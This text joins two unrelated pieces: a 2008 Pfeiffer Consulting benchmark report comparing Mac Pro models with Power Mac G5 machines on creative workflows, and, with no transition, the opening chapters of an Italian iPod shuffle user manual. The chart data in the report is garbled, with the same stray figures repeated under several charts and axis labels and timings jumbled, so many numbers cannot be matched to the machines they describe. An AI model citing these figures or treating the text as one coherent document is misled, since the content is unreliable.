• This benchmark analysis report presents
key data from the benchmark project
and focuses on the comparison of the
Mac Pro with two generations of Power
Mac G5. To view the complete results,
including the data concerning the dual
1.25GHz Power Mac G4 introduced in 2002,
as well as descriptions of the benchmark
methodology, and detailed system
configurations, please download the
complete benchmark report from
http://www.pfeifferreport.com.
• For more information, please contact
research@pfeifferreport.com.An Increasingly Complex Work Environment
Over the years, creative workflows have become increasingly complex. Designers
now have to routinely handle a variety of different media types, as assignments
span a growing number of potential output channels for content and media.
Even seemingly straightforward market segments such as digital imaging have
reached a level of maturity that requires a set of sophisticated and diversified
tools. As different media types are increasingly interconnected, the sophistication and the complexity of the workflow-reality creative professionals face
in their average project has evolved dramatically.
As a result, efficiency has to some extent displaced features as the main driver
for tool adoption. As everyday deadline pressure increases, productivity has
become a predominant concern for creative professionals around the globe.
The Challenges
The size of the files we create and use has grown enormously over the years,
image files can easily weigh several hundred megabytes, a complete project can
take several gigabyte of data. And size is not the only issue, we also have a
seemingly ever-increasing number of documents we need to manage, store, open,
sort and access. And all of this needs to be done as fast as possible.
Major Points
• Creative workflows have become
extremely complex over the years: The
size of the files that are commonly used
has grown considerably, and the number of
documents in the typical project has soared.
This has created a number of new processing
and management challenges for users.
• In all workflow benchmarks conducted for
this project, the 2008 Mac Pro offers
clear productivity advantages over older
Macintosh models.
• The 3.2GHz Mac Pro offers clearly
increased performance and productivity
over the 2.8GHz model, and is up to 3 times
faster than the 2.0GHz Power Mac G5.
InDesign CS3 Workflow Benchmarks: Total Time
Time scale in seconds. Shorter is better.
49.67
57.97
47.50
52.97
0 50 100 150 200
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
59.59
2 min 59 sec
2 min 20 sec
1 min 46 sec
1 min 41 sec
1 min 39 sec
1 min 27 sec
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
QuarkXPress 7.3.1 Workflow Benchmarks: Total Time
Time scale in seconds. Shorter is better.
49.67
57.97
47.50
52.97
0 50 100 150 200 250 300
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
59.59
4 min 48 sec
4 min 16 sec
3 min 09 sec
3 min 08 sec
3 min 03 sec
2 min 46 sec
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
Design Workflow: InDesign CS 3 and QuarkXPress 7.3.1
Design workflow benchmarks measured a variety of common workflow steps
and procedures, such as the time to execute a Photoshop round-trip between a
page layout program and the imaging application.
Results for these tests show the speed of the applications as well as the fluidity
of the inter-application integration. Both Mac Pro models introduced in 2008
were clearly more efficient in these tests than older Macintosh computers. Tests
were conducted with InDesign CS3, QuarkXPress 7.3.1, Photoshop CS3 and
Illustrator CS3.
Workflow Productivity
For Creative Professionals
© Pfeiffer Consulting 2008
4 Mac Pro 2008: Performance and Productivity for Creative ProsAbout the Workflow Benchmarks
The workflow efficiency measures
conducted for this benchmark project
included a variety of common steps and
workflow sequences frequently encountered
in creative workflows.
Workflow integration benchmarks covered
the time necessary to perform a roundtrip between a page layout application
(InDesign or QuarkXPress) and graphics
applications such as Photoshop CS3
and Illustrator CS3, measuring the time
necessary to switch between programs,
open a file, apply a simple modification,
save the changes, and switch back to
update the design document.
The Basic Imaging Workflow benchmark
focuses on efficiency within Photoshop
CS3, and measures the time necessary
to open a file, resample it to a specific
size, apply RGB to CMYK color conversion,
perform an Unsharp Mask filter, and save
the file under another name.
Workflow efficiency measures include the
time necessary for the operator to perform
menu selection and other user interface
operations required to complete the tasks.
This means that workflow benchmarks
cover not only program efficiency, but
also measure overall fluidity of the
computing environment.
The Importance of Integration
Integration is one of the most important aspects of workflow productivity on any
computer: Most creative professionals use a variety of different tools together,
rather than individually, moving back and forth between several applications. In
this process, the fluidity and speed of integration is at least as important as
the processing speed of one particular program.
So how does the Mac Pro compare with older Macintosh models in productivity measures where the complexity of the individual task is not the predominant factor? The workflow benchmarks conducted for this project show that
the 2008 Mac Pro is clearly more productive than previous Mac Pro models.
For example, the 3.2GHz Mac Pro managed to complete the Basic Imaging
Workflow Benchmark in just over 1 min. 5 seconds. By comparison, the 3.0GHz
Mac Pro introduced in 2007 took 17% longer for the same test; the Power Mac
G5 Quad, the fastest PowerPC-based Macintosh ever produced, required almost
40% longer to complete the same benchmark. (See chart below.)
Rotate Canvas (300MB Multi-Layered File)
Time scale in seconds. Shorter is better.
34.37 22.95 10.84 7.86 7.23
49.67
57.97
47.50
52.97
0 5 10 15 20
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
59.59
17.90
9.93
8.01
7.01
6.27
5.70
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
RAW Conversion (10 x 13MP File)
Time scale in seconds. Shorter is better.
34.37 22.95 10.84 7.86 7.23
49.67
57.97
47.50
52.97
0 10 20 30 40 50 60 70 80
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
59.59
1 min 05 sec
40.56
29.45
27.31
25.37
23.44
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
Basic Imaging Workflow
This benchmark measures the time necessary to complete a set of basic image processing operations
common in design and publishing workflows.
49.67
57.97
47.50
52.97
0 20 40 60 80 100 120
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
59.59
1 min 42 sec
1 min 31 sec
1 min 22 sec
1 min 15 sec
1 min 13 sec
1 min 05 sec
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
Basic Imaging Workflow Benchmark (Total Time)
Time scale in seconds. Shorter is better.
Photoshop Expert Options
Photoshop is one of the most widely used software package for creative
professionals, and offers a considerable breadth of features targeting a wide
variety of users. Some of these specialized options have become the backbone of
specific creative workflows, and their efficiency can have a strong impact on
the overall productivity. Several such actions or tasks (such as manipulating
complex, multi-layered image files, or the conversion of increasingly widely
used Raw files from digital cameras) were covered in this benchmark project.
The charts show individual results for two of these tests.
© Pfeiffer Consulting 2008
Mac Pro 2008: Performance and Productivity for Creative Pros 5Looking Beyond Processor Speed
The results of this benchmark project underline a long-term trend in the personal
computer industry: Performance and productivity of a hardware platform rely
of course on the clock-speed of the central processors, but increasingly also
on other hardware aspects such as memory bandwidth, system bus speed, L2
cache, mass storage architecture, and graphics subsystem among many others.
Sophisticated operating system support for advanced hardware features such as
multiple processor cores is also essential to optimize productivity.
The Mac Pro introduced in early 2008 is a case in point. At 3.2GHz, the processor speed of the new high-end configuration is only slightly increased over
the previous top-of-the-line model, the 3.0 GHz 8-core Mac Pro released a year
earlier, yet performance and productivity are clearly and consistently superior
on the newer model, as the benchmark results from this report show.
In other words, improvements across the entire system architecture are delivering greater performance and capabilities to the end user. The new Mac Pro benefits from increased L2 cache (a total of 12MB, or 6MB of shared L2 cache per
pair of cores), as well as the fastest Xeon architecture available, which includes
1600MHz independent frontside buses and 800MHz FB-DIMM memory, that
allow significantly greater memory throughput. Plus, the 2008 Mac Pro extents
the capabilities of the platform in terms of expansion capabilities as well as concerning key hardware features with advanced graphics options from both ATI
and NVIDIA, up to 4TB of internal storage, and high-performance storage
options with 15,000rpm SAS drives and the Mac Pro RAID card. Together,
these hardware improvements contribute to make the new model an important
evolution of the hardware platform over previous models, and ensure that the
Mac Pro can tackle the challenges of the modern creative workflow.
Major Points
• Performance and productivity of a hardware
platform rely increasingly on the perfect
integration of a variety of different
hardware aspects.
• The Mac Pro introduced in early 2008
offers significantly improved memory
throughput over older models.
• By moving the majority of configurations to
8-core processors, the 2008 Mac Pro brings
extended multiprocessing architectures
to the mainstream. In addition, Mac OS X
Leopard provides increased support for multiprocessing.
Processing
Two 2.8GHz, 3.0GHz or 3.2GHz Quad-Core Intel Xeon 5400 Series (“Harpertown”) processors
or one 2.8GHz Quad-Core Intel Xeon 5400 Series processor
L2 Cache: 12MB per quad-core processor (6MB shared per pair of cores)
128-bit SSE4 vector engine
64-bit data paths and registers
1600MHz, 64-bit dual independent frontside buses
Memory 800MHz DDR2 ECC FB-DIMM memory
256-bit-wide memory architecture
8 FB-DIMM slots, for up to 32GB of fully buffered memory
Graphics and displays Double-wide 16-lane PCI Express 2.0 slot (Supports two 30-inch Apple Cinema HD displays)
Storage Four 3.5-inch hard drive bays on independent 3Gb/s Serial ATA channels
Up to 4TB of internal storage
Optional 15,000 RPM SAS (serial attached SCSI) drives and Mac Pro RAID card
Mac Pro 2008 Hardware Highlights
Evolutions of the
Hardware Platform
© Pfeiffer Consulting 2008
6 Mac Pro 2008: Performance and Productivity for Creative Pros
iPod shuffle
Manuale utenteContenuto
3 Capitolo 1: Informazioni su iPod shuffle
3 Novità di iPod shuffle
4 Capitolo 2: Nozioni di base di iPod shuffle
4 Panoramica di iPod shuffle
5 Utilizzare i controlli di iPod shuffle
5 Collegare e scollegare iPod shuffle
7 Informazioni sulla batteria di iPod shuffle
9 Capitolo 3: Configurazione di iPod shuffle
9 Informazioni su iTunes
10 Configurare la libreria di iTunes
11 Organizzare la musica
11 Collegare iPod shuffle a un computer per la prima volta
12 Aggiungere musica a iPod shuffle
17 Capitolo 4: Ascoltare musica
17 Riprodurre musica
18 Utilizzare VoiceOver
20 Impostare le tracce per la riproduzione allo stesso livello di volume
21 Impostare un limite di volume
21 Bloccare e sbloccare i pulsanti di iPod shuffle
22 Capitolo 5: Archiviare file su iPod shuffle
22 Utilizzare iPod shuffle come disco esterno
24 Capitolo 6: Suggerimenti e risoluzione dei problemi
26 Aggiornare e ripristinare il software di iPod shuffle
28 Capitolo 7: Sicurezza e pulizia
28 Informazioni di sicurezza importanti
29 Informazioni importanti per un corretto utilizzo
31 Capitolo 8: Altre informazioni, servizi e supporto
32 Informazioni sulla conformità alle normative
21
3
Congratulazioni per aver acquistato iPod shuffle.
ATTENZIONE: Per evitare lesioni, leggi Capitolo 7, Sicurezza e pulizia, a pagina 28 prima di utilizzare iPod shuffle.
Per utilizzare iPod shuffle, trasferisci brani e altri file audio sul computer, quindi sincronizzali con
iPod shuffle.
Utilizza iPod shuffle per:
• Sincronizzare brani e playlist da ascoltare in viaggio.
• Ascoltare podcast, programmi in stile radiofonico scaricabili, disponibili su Internet.
• Ascoltare audiolibri acquistati su iTunes Store o su audible.com
• Archiviare o effettuare una copia di backup di file e altri dati usando iPod shuffle come
disco esterno.
Novità di iPod shuffle
• Tasto VoiceOver che pronuncia i titoli delle tracce e i nomi degli artisti, ti consente di cambiare
playlist e ti informa sullo stato della batteria
• Controlli semplici e intuitivi
• Supporto per la sincronizzazione dei mix Genius
• Supporto per la sincronizzazione di raccolte iTunes U
Informazioni su iPod shuffle2
4
Leggi le informazioni riportate in questo capitolo per maggiori
informazioni sulle funzionalità di iPod shuffle, per imparare a usare
i controlli e altro ancora.
Il pacchetto di iPod shuffle include iPod shuffle, gli auricolari Apple e un cavo USB 2.0 per
collegare iPod shuffle al computer.
Panoramica di iPod shuffle
Luce di stato
Porta auricolari
Precedente/Riavvolgi
Riproduci/Metti in pausa
Volume giù
Pulsante VoiceOver
Interruttore a tre vie
Volume su
Clip
Successivo/Vai avanti velocemente
Per utilizzare gli auricolari Apple:
m Collega gli auricolari alla porta auricolari di iPod shuffle. Quindi, posiziona gli auricolari nelle
orecchie come mostrato in figura.
Il cavo auricolari è regolabile.
ATTENZIONE: Prima di usare Informazioni di sicurezza importanti a pagina 28, leggi tutte le
informazioni di sicurezza in iPod shuffle per evitare danni all'udito.
Puoi acquistare altri accessori, come gli auricolari Apple con telecomando e microfono e gli auricolari Apple In-Ear con telecomando e microfono, sul sito www.apple.com/it/ipodstore. La funzionalità microfono non è supportata da iPod shuffle.
Nozioni di base di iPod shuffleCapitolo 2 Nozioni di base di iPod shuffle 5
Utilizzare i controlli di iPod shuffle
I controlli anteriori, il tasto di VoiceOver e l'interruttore a tre posizioni rendono semplice la riproduzione di brani, audiolibri, podcast audio e raccolte di iTunes U su iPod shuffle.
Per Esegui questa operazione
Accendere o spegnere iPod shuffle Fai scorrere l'interruttore a tre posizioni (un'ombreggiatura verde sull'interruttore indica che iPod shuffle
è acceso).
Riprodurre o mettere in pausa Premi Play/Pausa (’).
Ridurre o aumentare il volume Premi Volume su (∂) o Volume giù (D). Tieni premuti i tasti per aumentare o diminuire rapidamente
il volume.
Impostare l'ordine di riproduzione Fai scorrere l'interruttore a tre posizioni per riprodurre
in ordine (⁄) o riprodurre in ordine casuale (¡).
Passare alla traccia successiva Premi Successivo/Avanza velocemente (‘).
Passare alla traccia precedente Premi Precedente/Riavvolgi (]) entro sei secondi
dall'inizio della traccia. Dopo 6 secondi, premendo
Precedente/Riavvolgi (]) la traccia attuale ricomincia.
Avanti velocemente Tieni premuto Successivo/Avanza velocemente (‘).
Riavvolgere Tieni premuto Precedente/Riavvolgi (]).
Sentire il nome dell'artista e il titolo della traccia Premi il tasto di VoiceOver ( ).
Sentire un menu delle playlist fra cui scegliere Tieni premuto il tasto di VoiceOver ( ). Premi
Successivo/Avanza velocemente (‘) o Precedente/
Riavvolgi (]) per spostarti attraverso il menu delle
playlist. Premi il tasto VoiceOver ( ) o Play/Pausa
(’) per selezionare una playlist. Tieni premuto di
nuovo il tasto di VoiceOver ( ) per uscire senza
selezionare nulla.
Bloccare i pulsanti di iPod shuffle
(per evitare che si attivino se li premi
accidentalmente)
Tieni premuto Play/Pausa (’) fino a quando la spia di
stato non lampeggia tre volte in arancione.
Ripeti per sbloccare i pulsanti.
Reimpostare iPod shuffle
(se iPod shuffle non risponde o la spia di stato è di
colore rosso fisso)
Spegni iPod shuffle, attendi 10 secondi,
quindi riaccendilo.
Trovare il numero di serie di iPod shuffle Cerca sotto il clip di iPod shuffle. Oppure in iTunes
(con iPod shuffle collegato al computer), seleziona
iPod shuffle nell'elenco dei dispositivi e fai clic sul
pannello Riepilogo.
Collegare e scollegare iPod shuffle
Collega iPod shuffle al computer per sincronizzare brani e altri file audio e per caricare la batteria.
Quando hai terminato, scollega iPod shuffle.
Importante: Per collegare iPod shuffle al computer, usa soltanto il cavo USB 2.0 fornito con
iPod shuffle.Capitolo 2 Nozioni di base di iPod shuffle 6
Collegare iPod shuffle
Per collegare iPod shuffle al computer:
m Inserisci un'estremità del cavo USB incluso nella porta degli auricolari di iPod shuffle e l'altra
estremità in una porta USB 2.0 ad alta potenza del computer.
Nota: Non collegare iPod shuffle ad una delle porte USB della tastiera per la caricarlo.
Un cavo USB più lungo è in vendita separatamente su www.apple.com/it/ipodstore.
La prima volta che colleghi iPod shuffle al computer, iTunes ti aiuta a configurare e a sincronizzare iPod shuffle con la libreria iTunes. Di default, iTunes sincronizza automaticamente i brani
su iPod shuffle quando lo colleghi al computer. Puoi sincronizzare i brani mentre la batteria è
in carica.
Se colleghi iPod shuffle a un altro computer e iPod shuffle è impostato per la sincronizzazione
automatica della musica, iTunes ti avviserà prima di effettuare la sincronizzazione. Se fai clic su Sì,
i brani e gli altri file audio presenti su iPod shuffle verranno cancellati e sostituiti con i brani e i
file audio presenti sul computer al quale iPod shuffle è stato collegato. Per informazioni su come
aggiungere musica a iPod shuffle o su come utilizzare iPod shuffle con più computer, consulta
Capitolo 4, Ascoltare musica, a pagina 17.
Scollegare iPod shuffle
È importante non scollegare iPod shuffle dal computer mentre stai caricando file audio o quando
usi iPod shuffle come disco esterno. È possibile scollegare iPod shuffle quando l'indicatore luminoso di stato non lampeggia in arancione o quando visualizzato il messaggio “OK per scollegare”
nella parte superiore della finestra di iTunes.
Importante: Se vedi il messaggio “Non scollegare” in iTunes o se l'indicatore luminoso di stato
di iPod shuffle lampeggia in arancione, devi espellere iPod shuffle prima di scollegarlo. In
caso contrario, potresti danneggiare i file presenti su iPod shuffle e sarà necessario ripristinare
iPod shuffle in iTunes. Per informazioni sul ripristino, consulta Aggiornare e ripristinare il software
di iPod shuffle a pagina 26.
Se abiliti iPod shuffle per l'uso come disco (consulta Utilizzare iPod shuffle come disco esterno
a pagina 22), devi sempre espellere iPod shuffle prima di scollegarlo.
Per espellere iPod shuffle:
m In iTunes, fai clic sul pulsante Espelli (C) accanto a iPod shuffle nell'elenco dei dispositivi.
Se utilizzi un computer Mac, puoi anche espellere iPod shuffle trascinando l'icona di iPod shuffle
dalla scrivania sul Cestino.
Se utilizzi un PC Windows, puoi anche espellere iPod shuffle in Risorse del computer o facendo
clic sull'icona di rimozione sicura dell'hardware, nella barra di sistema di Windows, e selezionando iPod shuffle.Capitolo 2 Nozioni di base di iPod shuffle 7
Per scollegare iPod shuffle:
m Scollega il cavo USB da iPod shuffle e dal computer.
Informazioni sulla batteria di iPod shuffle
iPod shuffle dispone di una batteria ricaricabile che deve essere sostituita soltanto da un fornitore di servizi Apple autorizzato.
Per ottimizzare la durata della batteria, la prima volta che utilizzi iPod shuffle, ricarica completamente la batteria per circa tre ore. La batteria si carica all'80 percento in circa due ore e si carica
completamente in circa tre ore. Se non utilizzi iPod shuffle per qualche tempo, potresti dover
ricaricare la batteria.
Mentre la batteria è in carica, puoi continuare a sincronizzare la musica. Puoi scollegare e utilizzare iPod shuffle anche prima che l'operazione di ricarica sia completata.
Ricaricare la batteria di iPod shuffle
Puoi caricare la batteria di iPod shuffle in due modi:
• Collega iPod shuffle al computer.
• Usa l'adattatore di alimentazione USB di Apple, in vendita separatamente.
Per caricare la batteria utilizzando il computer:
m Collega iPod shuffle a una porta USB 2.0 ad alta potenza sul computer utilizzando il cavo USB
fornito con iPod shuffle. Il computer dev'essere acceso e non in stop (alcuni modelli di Mac possono caricare iPod shuffle anche durante lo stop).
Quando la batteria è in carica, l'indicatore luminoso di stato di iPod shuffle è arancione fisso.
Quando la batteria è interamente carica, la spia di stato è verde. In iTunes, l'icona della batteria
accanto al nome di iPod shuffle mostra lo stato della batteria. L'icona mostra un fulmine quando
la batteria è in carica e una spina quando la batteria è completamente carica.
Se iPod shuffle è stato usato come disco esterno o se è in esecuzione la sincronizzazione con
iTunes, l'indicatore luminoso di stato lampeggia in arancione per informarti che devi espellere iPod shuffle prima di scollegarlo. In questo caso, la batteria potrebbe esser in carica o
completamente carica.
Se non vedi l'indicatore luminoso di stato, iPod shuffle potrebbe non essere collegato a una
porta USB 2.0 ad alta potenza. Prova con un'altra porta USB 2.0 del computer.
Per caricare la batteria se non disponi di un computer, puoi collegare iPod shuffle a un adattatore di alimentazione USB di Apple, in vendita separatamente. Per acquistare gli accessori di
iPod shuffle, vai all'indirizzo www.apple.com/it/ipodstore.
Per caricare la batteria utilizzando l'adattatore di alimentazione USB di Apple:
1 Collega un'estremità del cavo USB fornito con iPod shuffle all'alimentatore di corrente e inserisci
l'altra estremità in iPod shuffle.Capitolo 2 Nozioni di base di iPod shuffle 8
2 Collega l'alimentatore di corrente ad una presa elettrica funzionante.
Adattatore di alimentazione USB di Apple
(l’adattatore potrebbe sembrare diverso)
Cavo USB iPod shuffle
ATTENZIONE: Accertati che l'alimentatore di corrente sia completamente assemblato prima di
inserirlo in una presa di corrente. Prima dell'uso, leggi tutte le informazioni di sicurezza sull'utilizzo dell'adattatore di alimentazione USB di Apple in Capitolo 7, Sicurezza e pulizia, a pagina 28.
Le batterie ricaricabili hanno un numero limitato di cicli di carica. L'autonomia della batteria e il
numero di cicli di carica variano in base all'uso e alle impostazioni. Per informazioni, consulta il
sito web www.apple.com/it/batteries.
Controllare lo stato della batteria
Puoi controllare lo stato della batteria di iPod shuffle quando è collegato o scollegato dal computer. L'indicatore luminoso di stato fornisce informazioni sulla carica restante nella batteria.
Se iPod shuffle è acceso e non collegato a un computer, puoi utilizzare VoiceOver per sentire lo
stato della batteria premendo il tasto di VoiceOver due volte.
Indicatore luminoso di stato
quando non collegato
Messaggio VoiceOver
Verde fisso Carica sufficiente “Batteria carica” o
“Batteria al 75%” o
“Batteria al 50%”
Arancione fisso Carica bassa “Batteria al 25%”
Rosso fisso Carica molto bassa “Batteria in esaurimento”
Indicatore luminoso di stato quando collegato al
computer
Verde fisso Interamente carica
Arancione fisso In carica
Arancione lampeggiante Non scollegare (iTunes è in fase di sincronizzazione
o iPod shuffle è abilitato per l'uso come disco); può
essere in carica o completamente carico3
9
Utilizza iTunes sul computer per configurare iPod shuffle per riprodurre e altro contenuto audio. Quindi, collega iPod shuffle al computer e sincronizzalo con la libreria di iTunes.
Continua la lettura per ottenere ulteriori informazioni sull'utilizzo di iPod shuffle, tra cui:
• Ottenere musica dalla propria collezione di CD, dal disco rigido o da iTunes Store (parte di
iTunes e disponibile solamente in alcuni paesi) all'applicazione iTunes sul computer.
• Organizzare i tuoi brani e altri file audio in playlist.
• Sincronizzare brani, audiolibri, podcast e raccolte iTunes U nella libreria iTunes con iPod shuffle
• Riprodurre musica o ascoltare altri file audio quando si è in giro.
Informazioni su iTunes
iTunes è l'applicazione gratuita da utilizzare per configurare, organizzare e gestire i contenuti su
iPod shuffle. iTunes sincronizza musica, audiolibri e podcast audio con iPod shuffle. Se non hai
ancora installato iTunes 10.7 o successivo (richiesto per iPod shuffle) sul computer, puoi scaricarlo da www.itunes.com/it/download.
Dopo averlo installato, iTunes si apre automaticamente quando colleghi iPod shuffle al computer. Puoi utilizzare iTunes per importare la musica dai CD e da Internet, acquistare brani e altro
contenuto audio da iTunes Store, creare delle raccolte personali dei tuoi brani preferiti (chiamate
playlist), sincronizzare iPod shuffle e regolarne le impostazioni.
iTunes dispone inoltre di una funzione denominata Genius, che crea playlist e mix all'istante dai
brani della tua libreria di iTunes che stanno bene insieme. Puoi sincronizzare i mix e le playlist
Genius da iTunes su iPod shuffle. Per utilizzare Genius, ti occorre un account iTunes. Per sapere
come configurare Genius, consulta Utilizzare Genius in iTunes a pagina 11.
iTunes possiede inoltre molte altre funzioni. Puoi masterizzare i tuoi CD da riprodurre in lettori CD standard (se il computer dispone di un'unità di masterizzazione di CD); ascoltare radio
Internet in streaming; assistere a video e spettacoli televisivi; valutare i brani in base alle proprie
preferenze; e altro ancora. Per informazioni sull'utilizzo di queste funzionalità, apri iTunes e scegli
Aiuto > Aiuto iTunes.
Se disponi già di iTunes 10.7 o successivo sul computer e hai configurato la tua libreria di iTunes,
puoi passare alla sequenza seguente, Collegare iPod shuffle a un computer per la prima volta a
pagina 11.
Configurazione di iPod shuffleCapitolo 3 Configurazione di iPod shuffle 10
Configurare la libreria di iTunes
Per poter ascoltare musica su iPod shuffle, devi prima importarla nella libreria iTunes
del computer.
Le modalità per importare musica e altri componenti audio nella libreria iTunes sono tre:
• Acquistare musica e audiolibri o scaricare podcast in linea da iTunes Store.
• Importare musica e altri elementi audio da CD audio.
• Aggiungere la musica e altro audio già presente sul computer alla libreria di iTunes.
Acquistare brani e scaricare podcast utilizzando iTunes Store
Se disponi di una connessione a Internet, puoi facilmente acquistare e scaricare brani, album e
audiolibri utilizzando iTunes Store (disponibile in paesi selezionati). Puoi iscriverti a podcast audio
e scaricarli; inoltre, puoi scaricare gratuitamente contenuti educativi da iTunes U. I podcast video
non possono essere sincronizzati su iPod shuffle.
Per acquistare musica in linea utilizzando iTunes Store, devi creare un account iTunes gratuito in
iTunes, cercare i brani desiderati e poi acquistarli. Se disponi già di un account iTunes, puoi utilizzarlo per accedere a iTunes Store e acquistare brani.
Non devi disporre di un account iTunes Store per riprodurre o scaricare podcast o lezioni di
iTunes U.
Per accedere a iTunes Store, apri iTunes e fai clic su iTunes Store (sotto Store) sul lato sinistro della
finestra di iTunes.
Aggiungere brani già presenti sul computer alla libreria di iTunes
Se sul computer sono presenti dei brani codificati con formati supportati da iTunes, puoi facilmente aggiungere i brani a iTunes. Per scoprire come passare i brani dal computer a iTunes, apri
iTunes e scegli Aiuto > Aiuto iTunes.
Utilizzando iTunes per Windows, puoi convertire i file WMA non protetti in formato AAC o MP3.
Questo può essere utile se disponi di una libreria di musica codificata in formato WMA. Per ulteriori informazioni, apri iTunes e scegli Aiuto > Aiuto iTunes.
Importare musica da CD audio in iTunes
iTunes è in grado di importare musica e altri elementi audio da CD audio. Se disponi di una connessione Internet, iTunes acquisisce i nomi dei brani del CD da Internet (se disponibili) e li visualizza nella finestra. Quando aggiungi dei brani a iPod shuffle, vengono incluse le informazioni sul
brano. Per scoprire come importare i brani dai CD audio in iTunes, apri iTunes e scegli Aiuto >
Aiuto iTunes.Capitolo 3 Configurazione di iPod shuffle 11
Inserire i nomi dei brani e altre informazioni
Se non disponi di una connessione a Internet, se le informazioni del brano non sono disponibili
per la musica che importi o se desideri includerne altre (come il nome del compositore), puoi
inserirle manualmente. Per scoprire come inserire le informazioni relative a un brano, apri iTunes
e scegli Aiuto > Aiuto iTunes.
Organizzare la musica
In iTunes, puoi organizzare i brani ed altri elementi in elenchi, chiamati playlist, nel modo che
preferisci. Ad esempio, puoi creare una playlist con brani da ascoltare mentre svolgi attività fisica
o sei in particolari stati d'animo.
Puoi anche creare playlist speciali che si aggiornano automaticamente in base alle regole che hai
scelto. Quando aggiungi dei brani a iTunes che soddisfano le regole, essi vengono automaticamente aggiunti alla playlist speciale.
Puoi attivare Genius in iTunes e creare delle playlist di brani che stanno bene insieme sulla base
del brano da te selezionato. Inoltre, Genius è in grado di organizzare automaticamente la tua
libreria di iTunes ordinando e raggruppando i brani in raccolte chiamate “mix Genius”.
Puoi creare tutte le playlist desiderate utilizzando qualsiasi brano della libreria di iTunes. Non
puoi creare una playlist su iPod shuffle quando è scollegato da iTunes. Se aggiungi un brano a
una playlist e poi lo rimuovi dalla playlist, non viene eliminato dalla libreria di iTunes.
Quando ascolti le playlist su iPod shuffle, tutte le playlist create in iTunes hanno lo stesso comportamento. Puoi sceglierle per nome su iPod shuffle.
Per scoprire come configurare le playlist in iTunes, apri iTunes e scegli Aiuto > Aiuto iTunes.
Utilizzare Genius in iTunes
Genius trova i brani della tua libreria di iTunes che stanno bene insieme e li utilizza per creare
playlist e mix Genius. Genius è un servizio gratuito, ma per utilizzarlo ti occorre un account
iTunes Store. Se non disponi di un account, puoi configurarne uno quando attivi Genius.
Una playlist Genius si basa sul brano da te selezionato. iTunes crea quindi una playlist Genius a
partire da brani che stanno bene con quello che hai selezionato.
I mix Genius sono delle raccolte preselezionate di brani che stanno bene insieme. Vengono
create per te da iTunes, utilizzando i brani della libreria di iTunes. Ogni mix Genius viene progettato per offrire diverse possibilità di ascolto ad ogni riproduzione: iTunes crea fino a 12 mix
Genius, a seconda della varietà di musica presente nella tua libreria di iTunes.
Per creare delle playlist e dei mix Genius, devi prima attivare Genius in iTunes. Per informazioni,
apri iTunes e scegli Aiuto > Aiuto iTunes.
Le playlist e i mix Genius creati in iTunes possono esser sincronizzate su iPod shuffle come qualsiasi altra playlist di iTunes. Non puoi aggiungere i mix Genius su iPod shuffle manualmente.
Collegare iPod shuffle a un computer per la prima volta
La prima volta che colleghi iPod shuffle al computer dopo aver installato iTunes, l'applicazione di
apre e viene visualizzato l'assistente di configurazione. Se iTunes non si apre automaticamente,
eseguilo.Capitolo 3 Configurazione di iPod shuffle 12
Per utilizzare l'assistente di configurazione di iPod shuffle:
1 Inserisci un nome per iPod shuffle. Sarà il nome con coi il dispositivo verrà visualizzato nell'elenco
dei dispositivi nella parte sinistra della finestra di iTunes.
2 Seleziona le impostazioni.
La sincronizzazione automatica è selezionata di default. Se la mantieni selezionata e Genius è
attivato, iTunes sincronizza i mix Genius dalla tua libreria di iTunes su iPod shuffle. Se Genius non
è attivato, iTunes riempie iPod shuffle con brani della tua libreria di iTunes e li raccoglie nella
playlist “Tutti i brani”. Per ulteriori informazioni sulla sincronizzazione manuale e automatica,
consulta il paragrafo seguente.
Anche VoiceOver è abilitato di default. Mantienilo abilitato per sentire i titoli delle tracce e i nomi
degli artisti, cambiare playlist e conoscere lo stato della batteria mentre ascolti iPod shuffle.
Per ulteriori informazioni, consulta Utilizzare VoiceOver a pagina 18.
3 Fai clic su Fine.
Puoi modificare il nome del dispositivo e le impostazioni ogni volta che colleghi iPod shuffle
al computer.
Dopo che hai fatto clic su Fine, viene visualizzato il pannello Riepilogo. Se hai selezionato la
sincronizzazione automatica, iPod shuffle avvia la sincronizzazione.
Aggiungere musica a iPod shuffle
Dopo aver importato e organizzato la musica in iTunes, puoi aggiungerla facilmente a
iPod shuffle.
Per gestire il modo in cui i brani e altro contenuto audio vengono aggiunti a iPod shuffle dal
computer, collega iPod shuffle al computer, quindi utilizza le preferenze di iTunes per scegliere le
opzioni di iPod shuffle.
